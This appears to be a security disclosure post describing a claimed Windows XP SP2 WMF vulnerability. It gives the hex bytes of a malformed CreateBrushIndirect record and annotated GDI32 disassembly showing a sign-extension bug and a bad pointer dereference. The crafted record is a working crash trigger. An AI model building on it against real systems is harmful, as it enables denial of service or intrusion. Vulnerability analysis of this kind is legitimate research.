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XP SP2 wmf exploit (some details)



0-day XP SP2 wmf exploit (some details)
0-day XP SP2 wmf exploit (some details)




There is some technical details.

1. 'Bad' wmf record:

07 00 00 00

length of record (in words)

FC 02

type (CreateBrushIndirect)

08 00 00 00 00 00 00 80

'packed' (good old Win16 days) LOGBRUSH data:

08 00 - 'packed' lbStyle (may be BS_DIBPATTERNPT [6] or BS_DIBPATTERN8X8 [8])
00 00 00 00 - COLORREF (any)
00 80 - 'packed' lbHatch (any, signed)

2. Sign extension bug:

   GDI32!_CommonEnumMetaFile:
      ......
      ; normalize 'packed' LOGBRUSH
      movzx eax, word ptr [ebx+6]      ; lbStyle (UINT32(UINT16))
      mov   [ebp-0f8], eax
      mov   eax, [ebx + 8]             ; COLORREF (as is)
      mov   [ebp-0f4], eax
      movsx eax, word ptr [ebx+0c]     ; <-- BUGBUG: lbHatch (UINT32(INT16))
      lea   eax, [ebp-0f8]
      push  eax
      call  GDI32!_CreateBrushIndirect
      ......

3. Memory access to fake 'pointer to packed DIB' (lbHatch) bug:

GDI32!_CreateBrushIndirect:
      ......
      ......
      ......
      cmp   edi, 6                     ; BS_DIBPATTERNPT == lbStyle
      jz    _go2crush
      ......
      cmp   edi, 8                     ; BS_DIBPATTERN8X8 == lbStyle
      jz    _go2crush
      ......
_go2crush:
      push  esi
      push  1
      push  eax, [ebp+10]
      push  eax
      push  dword ptr [ebp+0c]         ; 1
      push  dword ptr [ebp+18]         ; lbHatch (fake *packedDIB)
      call  GDI32!_pbmiConvertInfo
      ......
      ......
GDI32!_pbmiConvertInfo:
      ......
      push  ebx
      mov   ebx, [ebp+8]               ; lbHatch (fake *packedDIB)
      ......
      mov   eax, [ebx]                 ; <-- BUGBUG: crush or random (in first 0x7f00 bytes)
                                       ; memory access (see @ 0x3000 region)


regards,
cyanid-E


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